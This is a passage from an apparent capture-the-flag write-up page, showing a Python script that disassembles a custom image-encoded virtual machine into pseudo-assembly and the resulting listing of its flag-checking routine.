  <span class="k">if</span> <span class="n">isS</span><span class="p">:</span>
    <span class="n">writeS</span><span class="p">(</span><span class="n">a</span><span class="p">,</span> <span class="n">cToColor</span><span class="p">(</span><span class="n">val</span><span class="p">))</span>
  <span class="k">else</span><span class="p">:</span>
    <span class="n">writeM</span><span class="p">(</span><span class="n">a</span><span class="p">,</span> <span class="n">cToColor</span><span class="p">(</span><span class="n">val</span><span class="p">))</span>

<span class="k">def</span> <span class="nf">readPVal</span><span class="p">(</span><span class="n">op</span><span class="p">,</span> <span class="n">isS</span><span class="p">,</span> <span class="n">isC</span><span class="p">):</span>
    <span class="n">a</span> <span class="o">=</span> <span class="n">readPA</span><span class="p">(</span><span class="n">op</span><span class="p">,</span> <span class="n">isC</span><span class="p">)</span>
    <span class="k">if</span> <span class="n">isS</span><span class="p">:</span>
        <span class="k">return</span> <span class="n">readC</span><span class="p">(</span><span class="n">readS</span><span class="p">(</span><span class="n">a</span><span class="p">))</span>
    <span class="k">else</span><span class="p">:</span>
        <span class="k">return</span> <span class="n">readC</span><span class="p">(</span><span class="n">readM</span><span class="p">(</span><span class="n">a</span><span class="p">))</span>

<span class="k">def</span> <span class="nf">readPA</span><span class="p">(</span><span class="n">op</span><span class="p">,</span> <span class="n">isC</span><span class="p">):</span>
  <span class="k">if</span> <span class="n">isC</span><span class="p">:</span>
    <span class="k">return</span> <span class="n">readC</span><span class="p">(</span><span class="n">op</span><span class="p">)</span>
  <span class="n">a</span> <span class="o">=</span> <span class="s">""</span>
  <span class="k">if</span> <span class="n">op</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">:</span>
    <span class="n">a</span> <span class="o">=</span> <span class="n">readRVal</span><span class="p">(</span><span class="n">getRNum</span><span class="p">(</span><span class="n">op</span><span class="p">[</span><span class="mi">0</span><span class="p">]))</span> <span class="o">+</span> <span class="s">" + "</span>
  <span class="k">if</span> <span class="n">op</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">:</span>
    <span class="n">a</span> <span class="o">+=</span> <span class="n">readRVal</span><span class="p">(</span><span class="n">getRNum</span><span class="p">(</span><span class="n">op</span><span class="p">[</span><span class="mi">1</span><span class="p">]))</span> <span class="o">+</span> <span class="s">" + "</span>
  <span class="n">a</span> <span class="o">+=</span> <span class="n">readOneByteC</span><span class="p">(</span><span class="n">op</span><span class="p">[</span><span class="mi">2</span><span class="p">])</span>
  <span class="k">return</span> <span class="n">a</span>

<span class="k">def</span> <span class="nf">readC</span><span class="p">(</span><span class="n">op</span><span class="p">):</span>
  <span class="k">if</span> <span class="nb">type</span><span class="p">(</span><span class="n">op</span><span class="p">)</span> <span class="o">==</span> <span class="nb">str</span><span class="p">:</span>
      <span class="k">return</span> <span class="n">op</span>
  <span class="n">c</span> <span class="o">=</span> <span class="n">op</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">+</span> <span class="p">(</span><span class="n">op</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span><span class="o">&lt;&lt;</span><span class="mi">8</span><span class="p">)</span> <span class="o">+</span> <span class="p">(</span><span class="n">op</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span><span class="o">&lt;&lt;</span><span class="mi">16</span><span class="p">)</span>
  <span class="k">if</span> <span class="n">c</span> <span class="o">&gt;=</span> <span class="p">(</span><span class="mi">256</span><span class="o">**</span><span class="mi">3</span><span class="p">)</span><span class="o">//</span><span class="mi">2</span><span class="p">:</span>
    <span class="n">c</span> <span class="o">=</span> <span class="o">-</span><span class="p">((</span><span class="mi">256</span><span class="o">**</span><span class="mi">3</span><span class="p">)</span><span class="o">-</span><span class="n">c</span><span class="p">)</span>
  <span class="k">return</span> <span class="nb">str</span><span class="p">(</span><span class="n">c</span><span class="p">)</span>

<span class="k">def</span> <span class="nf">readOneByteC</span><span class="p">(</span><span class="n">val</span><span class="p">):</span>
  <span class="k">if</span> <span class="n">val</span> <span class="o">&gt;</span> <span class="mi">256</span><span class="o">//</span><span class="mi">2</span><span class="p">:</span>
    <span class="k">return</span> <span class="nb">str</span><span class="p">(</span><span class="o">-</span><span class="p">(</span><span class="mi">256</span><span class="o">-</span><span class="n">val</span><span class="p">))</span>
  <span class="k">return</span> <span class="nb">str</span><span class="p">(</span><span class="n">val</span><span class="p">)</span>

<span class="k">def</span> <span class="nf">cToColor</span><span class="p">(</span><span class="n">val</span><span class="p">):</span>
  <span class="k">return</span> <span class="sa">f</span><span class="s">"</span><span class="si">{</span><span class="n">val</span><span class="si">}</span><span class="s">"</span>
  <span class="k">if</span> <span class="n">val</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">:</span>
    <span class="n">val</span> <span class="o">=</span> <span class="mi">256</span><span class="o">**</span><span class="mi">3</span> <span class="o">+</span> <span class="n">val</span>
  <span class="k">return</span> <span class="p">[</span><span class="n">val</span><span class="o">%</span><span class="mi">256</span><span class="p">,</span> <span class="p">(</span><span class="n">val</span><span class="o">&gt;&gt;</span><span class="mi">8</span><span class="p">)</span><span class="o">%</span><span class="mi">256</span><span class="p">,</span> <span class="p">(</span><span class="n">val</span><span class="o">&gt;&gt;</span><span class="mi">16</span><span class="p">)</span><span class="o">%</span><span class="mi">256</span><span class="p">]</span>

<span class="n">im</span> <span class="o">=</span> <span class="n">Image</span><span class="p">.</span><span class="nb">open</span><span class="p">(</span><span class="s">"c.png"</span><span class="p">).</span><span class="n">convert</span><span class="p">(</span><span class="s">"RGB"</span><span class="p">)</span>
<span class="n">w</span><span class="p">,</span> <span class="n">h</span> <span class="o">=</span> <span class="n">im</span><span class="p">.</span><span class="n">size</span>
<span class="c1">#print(w, h)
</span><span class="n">px</span> <span class="o">=</span> <span class="n">im</span><span class="p">.</span><span class="n">load</span><span class="p">()</span>
<span class="n">C</span> <span class="o">=</span> <span class="p">[[</span><span class="n">px</span><span class="p">[</span><span class="n">i</span><span class="p">,</span> <span class="n">j</span><span class="p">]</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">3</span><span class="p">)]</span> <span class="k">for</span> <span class="n">j</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">h</span><span class="p">)]</span>
<span class="n">C</span><span class="o">+=</span> <span class="p">[[</span><span class="n">px</span><span class="p">[</span><span class="n">i</span><span class="p">,</span> <span class="n">j</span><span class="p">]</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">3</span><span class="p">,</span> <span class="mi">6</span><span class="p">)]</span> <span class="k">for</span> <span class="n">j</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">h</span><span class="p">)]</span>
<span class="n">C</span><span class="o">+=</span> <span class="p">[[</span><span class="n">px</span><span class="p">[</span><span class="n">i</span><span class="p">,</span> <span class="n">j</span><span class="p">]</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">6</span><span class="p">,</span> <span class="mi">9</span><span class="p">)]</span> <span class="k">for</span> <span class="n">j</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">h</span><span class="p">)]</span>
<span class="c1">#print(C)
</span>
<span class="n">im</span> <span class="o">=</span> <span class="n">Image</span><span class="p">.</span><span class="nb">open</span><span class="p">(</span><span class="s">"m.png"</span><span class="p">).</span><span class="n">convert</span><span class="p">(</span><span class="s">"RGB"</span><span class="p">)</span>
<span class="n">w</span><span class="p">,</span> <span class="n">h</span> <span class="o">=</span> <span class="n">im</span><span class="p">.</span><span class="n">size</span>
<span class="c1">#print(w, h)
</span><span class="n">px</span> <span class="o">=</span> <span class="n">im</span><span class="p">.</span><span class="n">load</span><span class="p">()</span>
<span class="n">M</span> <span class="o">=</span> <span class="p">[</span><span class="n">px</span><span class="p">[</span><span class="n">j</span><span class="p">,</span> <span class="n">i</span><span class="p">]</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">h</span><span class="p">)</span> <span class="k">for</span> <span class="n">j</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">w</span><span class="p">)]</span>
<span class="k">print</span><span class="p">([</span><span class="n">i</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">M</span><span class="p">[</span><span class="mi">65</span><span class="p">:</span><span class="mi">95</span><span class="p">]])</span>
<span class="k">print</span><span class="p">([</span><span class="n">i</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">M</span><span class="p">[</span><span class="mi">95</span><span class="p">:]])</span>


<span class="c1">#print(C)
</span>
<span class="n">ip</span> <span class="o">=</span> <span class="mi">0</span>
<span class="k">def</span> <span class="nf">run</span><span class="p">():</span>
    <span class="k">global</span> <span class="n">sp</span>
    <span class="k">for</span> <span class="n">ip</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">h</span><span class="o">*</span><span class="mi">3</span><span class="p">):</span>
        <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"&lt;</span><span class="si">{</span><span class="n">ip</span><span class="si">:</span><span class="mi">04</span><span class="n">d</span><span class="si">}</span><span class="s">&gt;: "</span><span class="p">,</span> <span class="n">end</span><span class="o">=</span><span class="s">""</span><span class="p">)</span>
        <span class="n">color0</span> <span class="o">=</span> <span class="n">C</span><span class="p">[</span><span class="n">ip</span><span class="p">][</span><span class="mi">0</span><span class="p">]</span>
        <span class="n">cmpcolor</span> <span class="o">=</span> <span class="p">(</span><span class="n">color0</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">&amp;</span><span class="mh">0xfc</span><span class="p">,</span> <span class="n">color0</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span><span class="o">&amp;</span><span class="mh">0xfc</span><span class="p">,</span> <span class="n">color0</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span><span class="o">&amp;</span><span class="mh">0xfc</span><span class="p">)</span>
        <span class="n">color1</span> <span class="o">=</span> <span class="n">C</span><span class="p">[</span><span class="n">ip</span><span class="p">][</span><span class="mi">1</span><span class="p">]</span>
        <span class="n">color2</span> <span class="o">=</span> <span class="n">C</span><span class="p">[</span><span class="n">ip</span><span class="p">][</span><span class="mi">2</span><span class="p">]</span>

        <span class="n">isR1</span> <span class="o">=</span> <span class="n">color0</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">&amp;</span><span class="mi">1</span> <span class="o">!=</span> <span class="mi">0</span>
        <span class="n">isP1</span> <span class="o">=</span> <span class="n">color0</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span><span class="o">&amp;</span><span class="mi">1</span> <span class="o">!=</span> <span class="mi">0</span>
        <span class="n">isC1</span> <span class="o">=</span> <span class="n">color0</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span><span class="o">&amp;</span><span class="mi">1</span> <span class="o">!=</span> <span class="mi">0</span>
        <span class="n">isR2</span> <span class="o">=</span> <span class="n">color0</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">&amp;</span><span class="mi">2</span> <span class="o">!=</span> <span class="mi">0</span>
        <span class="n">isP2</span> <span class="o">=</span> <span class="n">color0</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span><span class="o">&amp;</span><span class="mi">2</span> <span class="o">!=</span> <span class="mi">0</span>

<span class="n">ip</span> <span class="o">=</span> <span class="mi">0</span>
<span class="k">def</span> <span class="nf">run</span><span class="p">():</span>
    <span class="k">global</span> <span class="n">sp</span>
    <span class="k">for</span> <span class="n">ip</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">h</span><span class="o">*</span><span class="mi">3</span><span class="p">):</span>
        <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"&lt;</span><span class="si">{</span><span class="n">ip</span><span class="si">:</span><span class="mi">04</span><span class="n">d</span><span class="si">}</span><span class="s">&gt;: "</span><span class="p">,</span> <span class="n">end</span><span class="o">=</span><span class="s">""</span><span class="p">)</span>
        <span class="n">color0</span> <span class="o">=</span> <span class="n">C</span><span class="p">[</span><span class="n">ip</span><span class="p">][</span><span class="mi">0</span><span class="p">]</span>
        <span class="n">cmpcolor</span> <span class="o">=</span> <span class="p">(</span><span class="n">color0</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">&amp;</span><span class="mh">0xfc</span><span class="p">,</span> <span class="n">color0</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span><span class="o">&amp;</span><span class="mh">0xfc</span><span class="p">,</span> <span class="n">color0</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span><span class="o">&amp;</span><span class="mh">0xfc</span><span class="p">)</span>
        <span class="n">color1</span> <span class="o">=</span> <span class="n">C</span><span class="p">[</span><span class="n">ip</span><span class="p">][</span><span class="mi">1</span><span class="p">]</span>
        <span class="n">color2</span> <span class="o">=</span> <span class="n">C</span><span class="p">[</span><span class="n">ip</span><span class="p">][</span><span class="mi">2</span><span class="p">]</span>

        <span class="n">isR1</span> <span class="o">=</span> <span class="n">color0</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">&amp;</span><span class="mi">1</span> <span class="o">!=</span> <span class="mi">0</span>
        <span class="n">isP1</span> <span class="o">=</span> <span class="n">color0</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span><span class="o">&amp;</span><span class="mi">1</span> <span class="o">!=</span> <span class="mi">0</span>
        <span class="n">isC1</span> <span class="o">=</span> <span class="n">color0</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span><span class="o">&amp;</span><span class="mi">1</span> <span class="o">!=</span> <span class="mi">0</span>
        <span class="n">isR2</span> <span class="o">=</span> <span class="n">color0</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">&amp;</span><span class="mi">2</span> <span class="o">!=</span> <span class="mi">0</span>
        <span class="n">isP2</span> <span class="o">=</span> <span class="n">color0</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span><span class="o">&amp;</span><span class="mi">2</span> <span class="o">!=</span> <span class="mi">0</span>
        <span class="n">isC2</span> <span class="o">=</span> <span class="n">color0</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span><span class="o">&amp;</span><span class="mi">2</span> <span class="o">!=</span> <span class="mi">0</span>

        <span class="k">if</span> <span class="n">cmpcolor</span> <span class="o">==</span> <span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="mi">252</span><span class="p">,</span><span class="mi">0</span><span class="p">):</span>
            <span class="k">print</span><span class="p">(</span><span class="s">"print('correct flag!')"</span><span class="p">)</span>
        <span class="k">elif</span> <span class="n">cmpcolor</span> <span class="o">==</span> <span class="p">(</span><span class="mi">252</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">):</span>
            <span class="k">print</span><span class="p">(</span><span class="s">"print('wrong flag :C')"</span><span class="p">)</span>
        <span class="k">elif</span> <span class="n">cmpcolor</span> <span class="o">==</span> <span class="p">(</span><span class="mi">204</span><span class="p">,</span> <span class="mi">204</span><span class="p">,</span> <span class="mi">252</span><span class="p">):</span>
            <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"sp += </span><span class="si">{</span><span class="n">readC</span><span class="p">(</span><span class="n">color1</span><span class="p">)</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
        <span class="k">elif</span> <span class="n">cmpcolor</span> <span class="o">==</span> <span class="p">(</span><span class="mi">220</span><span class="p">,</span> <span class="mi">252</span><span class="p">,</span> <span class="mi">0</span><span class="p">)</span> <span class="ow">or</span> <span class="n">cmpcolor</span> <span class="o">==</span> <span class="p">(</span><span class="mi">252</span><span class="p">,</span> <span class="mi">188</span><span class="p">,</span> <span class="mi">0</span><span class="p">)</span> <span class="ow">or</span> <span class="n">cmpcolor</span> <span class="o">==</span> <span class="p">(</span><span class="mi">64</span><span class="p">,</span> <span class="mi">224</span><span class="p">,</span> <span class="mi">208</span><span class="p">)</span> <span class="ow">or</span> <span class="n">cmpcolor</span> <span class="o">==</span> <span class="p">(</span><span class="mi">156</span><span class="p">,</span> <span class="mi">224</span><span class="p">,</span> <span class="mi">188</span><span class="p">)</span> <span class="ow">or</span> <span class="n">cmpcolor</span> <span class="o">==</span> <span class="p">(</span><span class="mi">100</span><span class="p">,</span> <span class="mi">148</span><span class="p">,</span> <span class="mi">236</span><span class="p">)</span> <span class="ow">or</span> <span class="n">cmpcolor</span> <span class="o">==</span> <span class="p">(</span><span class="mi">252</span><span class="p">,</span> <span class="mi">124</span><span class="p">,</span> <span class="mi">80</span><span class="p">):</span>
            <span class="k">if</span> <span class="n">cmpcolor</span> <span class="o">==</span> <span class="p">(</span><span class="mi">252</span><span class="p">,</span> <span class="mi">188</span><span class="p">,</span> <span class="mi">0</span><span class="p">):</span>
                <span class="n">val2</span> <span class="o">=</span> <span class="n">readPA</span><span class="p">(</span><span class="n">color2</span><span class="p">,</span> <span class="n">isC2</span><span class="p">)</span>
            <span class="k">else</span><span class="p">:</span>
                <span class="n">val2</span> <span class="o">=</span> <span class="n">read</span><span class="p">(</span><span class="n">color2</span><span class="p">,</span> <span class="n">isR2</span><span class="p">,</span> <span class="n">isP2</span><span class="p">,</span> <span class="n">isC2</span><span class="p">)</span>

            <span class="k">if</span> <span class="n">cmpcolor</span> <span class="o">==</span> <span class="p">(</span><span class="mi">220</span><span class="p">,</span> <span class="mi">252</span><span class="p">,</span> <span class="mi">0</span><span class="p">)</span> <span class="ow">or</span> <span class="n">cmpcolor</span> <span class="o">==</span> <span class="p">(</span><span class="mi">252</span><span class="p">,</span> <span class="mi">188</span><span class="p">,</span> <span class="mi">0</span><span class="p">):</span>
                <span class="n">write</span><span class="p">(</span><span class="n">color1</span><span class="p">,</span> <span class="n">val2</span><span class="p">,</span> <span class="n">isR1</span><span class="p">,</span> <span class="n">isP1</span><span class="p">,</span> <span class="n">isC1</span><span class="p">)</span>
            <span class="k">elif</span> <span class="n">cmpcolor</span> <span class="o">==</span> <span class="p">(</span><span class="mi">64</span><span class="p">,</span> <span class="mi">224</span><span class="p">,</span> <span class="mi">208</span><span class="p">):</span>
                <span class="n">val1</span> <span class="o">=</span> <span class="n">read</span><span class="p">(</span><span class="n">color1</span><span class="p">,</span> <span class="n">isR1</span><span class="p">,</span> <span class="n">isP1</span><span class="p">,</span> <span class="n">isC1</span><span class="p">)</span>
                <span class="n">write</span><span class="p">(</span><span class="n">color1</span><span class="p">,</span> <span class="n">val1</span><span class="o">+</span><span class="s">" + "</span><span class="o">+</span><span class="n">val2</span><span class="p">,</span> <span class="n">isR1</span><span class="p">,</span> <span class="n">isP1</span><span class="p">,</span> <span class="n">isC1</span><span class="p">)</span>
            <span class="k">elif</span> <span class="n">cmpcolor</span> <span class="o">==</span> <span class="p">(</span><span class="mi">156</span><span class="p">,</span> <span class="mi">224</span><span class="p">,</span> <span class="mi">188</span><span class="p">):</span>
                <span class="n">val1</span> <span class="o">=</span> <span class="n">read</span><span class="p">(</span><span class="n">color1</span><span class="p">,</span> <span class="n">isR1</span><span class="p">,</span> <span class="n">isP1</span><span class="p">,</span> <span class="n">isC1</span><span class="p">)</span>
                <span class="n">write</span><span class="p">(</span><span class="n">color1</span><span class="p">,</span> <span class="n">val1</span><span class="o">+</span><span class="s">" - "</span><span class="o">+</span><span class="n">val2</span><span class="p">,</span> <span class="n">isR1</span><span class="p">,</span> <span class="n">isP1</span><span class="p">,</span> <span class="n">isC1</span><span class="p">)</span>
            <span class="k">elif</span> <span class="n">cmpcolor</span> <span class="o">==</span> <span class="p">(</span><span class="mi">100</span><span class="p">,</span> <span class="mi">148</span><span class="p">,</span> <span class="mi">236</span><span class="p">):</span>
                <span class="n">val1</span> <span class="o">=</span> <span class="n">read</span><span class="p">(</span><span class="n">color1</span><span class="p">,</span> <span class="n">isR1</span><span class="p">,</span> <span class="n">isP1</span><span class="p">,</span> <span class="n">isC1</span><span class="p">)</span>
                <span class="n">write</span><span class="p">(</span><span class="n">color1</span><span class="p">,</span> <span class="n">val1</span><span class="o">+</span><span class="s">"&gt;&gt;"</span><span class="o">+</span><span class="n">val2</span><span class="p">,</span> <span class="n">isR1</span><span class="p">,</span> <span class="n">isP1</span><span class="p">,</span> <span class="n">isC1</span><span class="p">)</span>
            <span class="k">elif</span> <span class="n">cmpcolor</span> <span class="o">==</span> <span class="p">(</span><span class="mi">252</span><span class="p">,</span> <span class="mi">124</span><span class="p">,</span> <span class="mi">80</span><span class="p">):</span>
                <span class="n">val1</span> <span class="o">=</span> <span class="n">read</span><span class="p">(</span><span class="n">color1</span><span class="p">,</span> <span class="n">isR1</span><span class="p">,</span> <span class="n">isP1</span><span class="p">,</span> <span class="n">isC1</span><span class="p">)</span>
                <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"cmp </span><span class="si">{</span><span class="n">val1</span><span class="si">}</span><span class="s"> </span><span class="si">{</span><span class="n">val2</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
<span class="c1">#                writeRVal(6, 16581630 if (val1 == val2) else 0)
#                writeRVal(7, 16581630 if (val1 &lt; val2) else 0)
#                writeRVal(8, 16581630 if (val1 &gt; val2) else 0)
</span>        <span class="k">elif</span> <span class="n">cmpcolor</span> <span class="o">==</span> <span class="p">(</span><span class="mi">220</span><span class="p">,</span> <span class="mi">48</span><span class="p">,</span> <span class="mi">96</span><span class="p">):</span>
<span class="c1">#            e = readRVal(6)
#            l = readRVal(7)
#            g = readRVal(8)
</span>            <span class="n">op</span> <span class="o">=</span> <span class="s">"j"</span>
            <span class="k">if</span> <span class="n">color0</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">&amp;</span><span class="mi">2</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">:</span>
                <span class="n">op</span><span class="o">+=</span> <span class="s">"l"</span>
            <span class="k">if</span> <span class="n">color0</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span><span class="o">&amp;</span><span class="mi">2</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">:</span>
                <span class="n">op</span><span class="o">+=</span> <span class="s">"g"</span>
            <span class="k">if</span> <span class="n">color0</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">&amp;</span><span class="mi">1</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">:</span>
                <span class="n">op</span><span class="o">+=</span> <span class="s">"e"</span>
            <span class="k">if</span> <span class="n">color0</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span><span class="o">&amp;</span><span class="mi">1</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">:</span>
                <span class="n">op</span><span class="o">+=</span> <span class="s">"ne"</span>

            <span class="k">if</span> <span class="n">op</span> <span class="o">==</span> <span class="s">"jlgene"</span><span class="p">:</span>
                <span class="n">op</span> <span class="o">=</span> <span class="s">"jmp"</span>

            <span class="n">dest</span> <span class="o">=</span> <span class="sa">f</span><span class="s">"</span><span class="si">{</span><span class="n">op</span><span class="si">}</span><span class="s"> </span><span class="si">{</span><span class="n">ip</span><span class="si">}</span><span class="s">+</span><span class="si">{</span><span class="n">readC</span><span class="p">(</span><span class="n">color1</span><span class="p">)</span><span class="si">}</span><span class="s">-1"</span>
            <span class="n">offset</span> <span class="o">=</span> <span class="sa">f</span><span class="s">"</span><span class="si">{</span><span class="n">ip</span><span class="si">}</span><span class="s"> + </span><span class="si">{</span><span class="n">readC</span><span class="p">(</span><span class="n">color1</span><span class="p">)</span><span class="si">}</span><span class="s">-1"</span>
            <span class="k">try</span><span class="p">:</span>
                <span class="n">offset_num</span> <span class="o">=</span> <span class="nb">eval</span><span class="p">(</span><span class="n">offset</span><span class="p">)</span>
                <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"</span><span class="si">{</span><span class="n">op</span><span class="si">}</span><span class="s"> &lt;</span><span class="si">{</span><span class="n">offset_num</span><span class="si">:</span><span class="mi">04</span><span class="n">d</span><span class="si">}</span><span class="s">&gt;"</span><span class="p">)</span>
            <span class="k">except</span><span class="p">:</span>
                <span class="k">print</span><span class="p">(</span><span class="n">dest</span><span class="p">)</span>

        <span class="k">elif</span> <span class="n">cmpcolor</span> <span class="o">==</span> <span class="p">(</span><span class="mi">252</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">252</span><span class="p">):</span>
            <span class="n">jmp</span> <span class="o">=</span> <span class="p">((</span><span class="n">color1</span><span class="p">[</span><span class="mi">0</span><span class="p">])</span><span class="o">//</span><span class="mi">3</span><span class="p">)</span><span class="o">*</span><span class="n">h</span> <span class="o">-</span> <span class="n">color1</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">-</span> <span class="mi">1</span>
            <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"call &lt;</span><span class="si">{</span><span class="n">ip</span><span class="o">+</span><span class="n">jmp</span><span class="si">:</span><span class="mi">04</span><span class="n">d</span><span class="si">}</span><span class="s">&gt;"</span><span class="p">)</span>
<span class="c1">#            writeS(0, (color1[0], color1[1], 127))
</span>        <span class="k">elif</span> <span class="n">cmpcolor</span> <span class="o">==</span> <span class="p">(</span><span class="mi">128</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">128</span><span class="p">):</span>
            <span class="k">print</span><span class="p">(</span><span class="s">"ret"</span><span class="p">)</span>
        <span class="k">else</span><span class="p">:</span>
            <span class="k">print</span><span class="p">()</span>

<span class="n">run</span><span class="p">()</span>
</pre></td></tr></tbody></table></code></pre></div></div>

 
      </div>
    </div>
  </div>
</div>

<div class="accordion mb-2" id="turtle_trans_txt">
  <div class="accordion-item">
    <p class="accordion-header code-toggle h2" id="hd-turtle_trans_txt">
      <button class="accordion-button collapsed" type="button" data-bs-toggle="collapse" data-bs-target="#turtle_trans_txt-content" aria-expanded="true" aria-controls="turtle_trans_txt-content">
         <p>Show trans.txt</p>
 
      </button>
    </p>
    <div id="turtle_trans_txt-content" class="accordion-collapse collapse" aria-labelledby="hd-turtle_trans_txt" data-bs-parent="#turtle_trans_txt">
      <div class="accordion-body pb-0">
          
<pre><code class="language-txt">&lt;0000&gt;: sp += -83
&lt;0001&gt;: R[2] = M[0]
&lt;0002&gt;: cmp R[2] 67
&lt;0003&gt;: jne &lt;0015&gt;
&lt;0004&gt;: R[2] = M[1]
&lt;0005&gt;: cmp R[2] 84
&lt;0006&gt;: jne &lt;0015&gt;
&lt;0007&gt;: R[2] = M[2]
&lt;0008&gt;: cmp R[2] 70
&lt;0009&gt;: jne &lt;0015&gt;
&lt;0010&gt;: R[2] = M[3]
&lt;0011&gt;: cmp R[2] 123
&lt;0012&gt;: jne &lt;0015&gt;
&lt;0013&gt;: R[2] = M[34]
&lt;0014&gt;: cmp R[2] 125
&lt;0015&gt;: je &lt;0016&gt;
&lt;0016&gt;: print('wrong flag :C')
&lt;0017&gt;: S[sp+1] = 0
&lt;0018&gt;: cmp S[sp+1] 79
&lt;0019&gt;: jg &lt;0023&gt;
&lt;0020&gt;: R[2] = S[sp+1]
&lt;0021&gt;: S[sp+R[2] + 3] = 0
&lt;0022&gt;: S[sp+1] = S[sp+1] + 1
&lt;0023&gt;: jmp &lt;0017&gt;
&lt;0024&gt;: S[sp+2] = 4
&lt;0025&gt;: R[2] = S[sp+2]
&lt;0026&gt;: cmp R[2] 28
&lt;0027&gt;: jg &lt;0053&gt;
&lt;0028&gt;: R[2] = S[sp+2]
&lt;0029&gt;: R[5] = 0
&lt;0030&gt;: R[2] = M[R[2] + R[5] + 0]
&lt;0031&gt;: cmp R[2] 42
&lt;0032&gt;: jle &lt;0037&gt;
&lt;0033&gt;: R[2] = S[sp+2]
&lt;0034&gt;: R[5] = 0
&lt;0035&gt;: R[2] = M[R[2] + R[5] + 0]
&lt;0036&gt;: cmp R[2] 122
&lt;0037&gt;: jle &lt;0038&gt;
&lt;0038&gt;: print('wrong flag :C')
&lt;0039&gt;: R[2] = S[sp+2]
&lt;0040&gt;: R[5] = 0
&lt;0041&gt;: R[2] = M[R[2] + R[5] + 0]
&lt;0042&gt;: R[2] = R[2] - 43
&lt;0043&gt;: R[2] = S[sp+R[2] + 3]
&lt;0044&gt;: cmp R[2] 65535
&lt;0045&gt;: jne &lt;0046&gt;
&lt;0046&gt;: print('wrong flag :C')
&lt;0047&gt;: R[2] = S[sp+2]
&lt;0048&gt;: R[5] = 0
&lt;0049&gt;: R[2] = M[R[2] + R[5] + 0]
&lt;0050&gt;: R[2] = R[2] - 43
&lt;0051&gt;: S[sp+R[2] + 3] = 65535
&lt;0052&gt;: S[sp+2] = S[sp+2] + 1
&lt;0053&gt;: jmp &lt;0024&gt;
&lt;0054&gt;: call &lt;0082&gt;
&lt;0055&gt;: M[519] = 0
&lt;0056&gt;: S[sp+0] = 43
&lt;0057&gt;: cmp S[sp+0] 122
&lt;0058&gt;: jg &lt;0067&gt;
&lt;0059&gt;: R[2] = S[sp+0]
&lt;0060&gt;: R[5] = 30
&lt;0061&gt;: R[0] = 35
&lt;0062&gt;: R[1] = R[2]
&lt;0063&gt;: call &lt;0165&gt;
&lt;0064&gt;: R[2] = S[sp+0]
&lt;0065&gt;: R[2] = R[2] + 1
&lt;0066&gt;: S[sp+0] = R[2]
&lt;0067&gt;: jmp &lt;0056&gt;
&lt;0068&gt;: print('correct flag!')
&lt;0069&gt;:
&lt;0070&gt;:
&lt;0071&gt;:
&lt;0072&gt;:
&lt;0073&gt;:
&lt;0074&gt;:
&lt;0075&gt;:
&lt;0076&gt;:
&lt;0077&gt;:
